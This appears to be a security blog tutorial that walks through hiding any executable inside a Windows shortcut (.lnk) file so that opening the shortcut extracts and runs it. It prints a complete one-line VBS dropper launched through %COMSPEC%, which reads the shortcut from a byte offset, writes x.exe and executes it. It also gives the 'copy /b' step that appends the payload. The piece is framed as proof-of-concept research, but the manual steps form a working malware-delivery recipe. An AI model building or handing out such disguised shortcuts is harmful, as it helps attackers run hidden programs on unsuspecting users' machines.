A couple of months ago, we wrote about the so-called Microsoft Shortcut Hacking by demonstrating two different techniques on how to exploit the shortcut command line to execute possible malware.
Shortcuts are often considered as something relatively harmless by regular users, because they simply point to another location to an existing file. Therefore people usually do not take enough care about security when it comes to executing a shortcut that arrived via another location (USB key, mail attachments, archives, etc.)
The problem with a shortcut file is the fact it wasn’t only designed to point to another location (file or folder), but also to run commands. Like a physical file equivalent for the ALIAS command in Linux Systems.
An example of a useful shortcut used by a lot of people:
Shutdown -s -f -t 00
When clicking on the shortcut, it will execute the shutdown command with parameters -s for shutdown, -f to force the shutdown, and -t 00 to shut down the computer immediately.
Weaknesses can be seen as very useful by both IT-personnel and hackers. Hackers will always try to exploit the weaknesses of a system to their own advantage, while IT-personnel will always try to mitigate the problem for every user.
In our previous parts we wrote about two methods:
- Using native application “BITSAdmin” from Microsoft to trigger a Download and Execution of a remote file.
- Using a weakness in the Shortcut command line field normally limited to 260 characters by overriding this limitation and placing the malicious file directly inside the Shortcut command line to be extracted and executed by using basic Windows Terminal commands.
The two methods mentioned above both have their own limitations, which makes them rather difficult to use without generating suspicions.
The main issue of the first technique is the problem of triggering the download of a remote file, that could be blocked by the your antivirus program or your hardware firewall. It could also be detected by the IDS (Intrusion Detection System), which could trigger an alert and block the exploit attempt.
The issue of the second technique is even worse, overriding the default maximum size of the command is possible from 260 to a certain amount more, but not an infinite amount. Above a certain size this trick doesn’t work anymore.
In our previous example, we used a tiny application compiled using FASM (Flat Assembler) which outputs a small and optimized application (from ~2KiB).
With a file size of 2KiB it works like a charm but if you start using a 5KiB, 100KiB, 1MB or larger, then this technique has no chance to work.
Plus, Microsoft might eventually patch this possibility of crossing the 260 characters limitation.
Right after those two articles, we discovered another method to avoid the default of the second method.
Let us show how this new technique works.
Bind (wrap) any kind of file inside a shortcut without any limitation of size. When the shortcut is executed the file must be extracted and executed.
- File size must not be a problem.
- We must not override the Shortcut command length limitation of 260 characters so our full command line must be below or equal at 260 characters which is an easy task.
- Our new technique must be portable and stable.
- Only use default Microsoft Windows Terminal (CMD.EXE) to output a script - in our case we chose Visual Basic Script “.vbs” which is a native scripting language).
- No dependencies.
We will describe here the manual method of creating a such shortcut. Note that it could be done automatically but we will not push any code for automating this exploit. We made a tiny application which can automate the following process in one click but we will not share with public to avoid abuse.
If you are an IT Security expert, you may contact us through our contact form to request the application for your professional needs and/or demos. However, we will make sure that this application will not fall into the wrong hands.
So, let’s do it manually
Reminder: we must be careful that the size of our final command line must not exceed the 260 characters length limitation. Each piece of code is specially designed to the most optimized size possible. It is an important concept to understand if you want to adapt this script in another language or way. If you cross the limit your Shortcut might not execute as intended.
Optimize echo command for writting file
First step is to find the most optimized way of executing a echo command to write our output Visual Basic Script to a file for further execution.
First thing is to understand the concept of Start in field in your shortcut.
When you create a new shortcut, default Start In field location is set to System32 path which poses problems.
First one is the System32 location which is a protected location, we can’t write content to this directory if we do not have the rights to do it.
The second problem is related to our exploit behavior, since the binded file will be hosted inside our malicious shortcut we must be able to find and work directly on our shortcut file so we do not want to export our malicious VBS script in another location but at the same location of our malicious location furthermore it will save some place in our malicious crafted command.
echo hello world>%TEMP%\x.vbs
is longer than just writing
echo hello world>x.vbs
So for those two reasons we must set the Start In field to empty like this:
Which might change your shell starting location from (default):
When you understand this detail, we can proceed.
Optimize running Visual Basic Script from Shortcut
The goal is then to run a command only designed to extract a tiny Visual Basic Script to the Shortcut location directory.
If we use this regular command
cmd.exe /k echo hello world>file.txt
Windows will automatically replace the
cmd.exe application to its absolute path in our case C:\windows\system32\cmd.exe, which is a huge problem because of our main issue the 260-char limitation.
Instead of using
cmd.exe […] we will then use the following well known Environment Variable
%COMSPEC%, Windows will not replace this Environment Variable by its value and will save 18 precious characters.
%COMSPEC% /k echo hello world>test.txt
At this point, your shortcut execution might write at the same location of your shortcut a new file called test.txt which contains hello world text.
To help you understand more clearly what we will attempt to do in the next part of our PoC, we will demonstrate how we could run a basic Visual Basic Script directly from a Shortcut.
Most of this PoC results from this concept of running a malicious crafted Visual Basic Script to execute a Malicious application directly from inside the Shortcut.
This command will write and execute a file called malicious.vbs a Visual Basic Script command used to call the Microsoft Windows
MessageBox API and say, hello world.
%COMSPEC% /k echo MsgBox "hello world">malicious.vbs&malicious.vbsThe difference with the previous example is execution of the new file written to shortcut folder location using
&character which means for our Terminal to execute a command right after a previous command.
IMPORTANT NOTE, DO NOT FORGET TO CHANGE THE “START IN” LOCATION TO EMPTY AS WE MENTIONED EARLIER IN THIS ARTICLE.
We now know how to write a malicious script with the most optimized size possible and execute this script.
Next step is to write an optimized Visual Basic Code to extract from the shortcut itself a file (in our case an application file) and execute.
This script will be placed right after the echo command and before the
> in our example between the [ ]
%COMSPEC% /k echo [VBS SCRIPT]>x.vbs&x.vbs
Our actual command consumes just 30 characters from our 260 possible characters which gives us the possibily to use 230 characters just for our VBS Script.
Script, we propose to do the trick (Uncompressed)
Basically, this Visual Basic Script when extracted at the same location of our Shortcut will open the Shortcut by its name (Hard Coded) and work on the file.
Note, since we don’t have more optimized ways to find the name of our Malicious Shortcut we must hard code its name in the script, which is not a big problem if we or the user doesn’t rename the file which rarely occurs anyway.
Also, you now understand why it is so much important to set the Start In path to empty, because the script will be extracted at the same directory of our shortcut we don’t need to set the absolute path of our malicious shortcut and then save a lot of our precious characters limitation.
Last thing, we will explain more mathematically later in this tutorial is the Hard Coded name of our shortcut, we can’t of course choose a name above a certain limit if we don’t want to cross the limit of our command line field.
We now need to transform this Visual Basic Script in a single line. In Visual Basic Script the
: (colon) is the statement separator as the
; (semi-colon) for the C or C++ / PHP etc. We will then compress in one line the script by replacing the CRLF (Carriage Return Line Feed) by the colon and trimming white spaces always to save more space.
Compressed example output
%COMSPEC% /k echo t="ADODB.Stream":Set b=CreateObject(t):Set c=CreateObject(t):b.Type=1:b.Open:b.LoadFromFile "malicious.lnk":b.Position=9999:c.Type=1:c.Open:b.CopyTo c:d="x.exe":c.SaveToFile d,2:Set o=CreateObject("WScript.Shell"):o.Run(d)>x.vbs&x.vbs
Last Important Notice: In our script we set the file Stream position to 9999 which was half set arbitrary.
A regular Shortcut File size may vary for different reasons. It is not recommended to hard code the size of our Shortcut if we want to be sure our exploit will run smoothly.
Since a shortcut file size will never be below or above 4 digits we will temporary set 9999 in the Stream position modification line.
Place the above compressed command line inside a new Shortcut, don’t forget to edit the Start In path to empty then open Shortcut file properties and identify the exact size of your Shortcut file. In our case 2136.
When you are sure of your Shortcut file size replace the 9999 temporary Stream positions by the exact shortcut size 2136 in our case then apply the modification.
Last step is now to append our Malicious File (In our case a random application) to the end of file (EOF) of our Malicious Shortcut.
We can do this easily by using the
copy command from any Windows Terminal as follows:
Copy /b [FULL_SHORTCUT_ LOCATION] + /b [FILE_TO_BIND_LOCATION] [FULL_SHORTCUT_LOCATION]
Copy /b c:\tmp\malicious.lnk + /b c:\tmp\badapp.exe c:\tmp\malicious.lnk
You badapp.exe might now be appended to the end of your Malicious Shortcut.
If you carefully followed the previous steps when you execute the Shortcut, your embedded file might be extracted by the tiny Visual Basic Script and executed right after extraction.
Notice that two working files will be present at the same location of the Shortcut, the VBS script and the extracted File which is normal and could be fixed by the malicious application placed inside the shortcut.
The automated way
Notice, we will almost never share binaries when we write an article about a new PoC, the main reason is to avoid abuse by script kiddies. If you need our PoC application for testing / demo please contact us through our contact form with information about who you are, for who you work and why would you need it.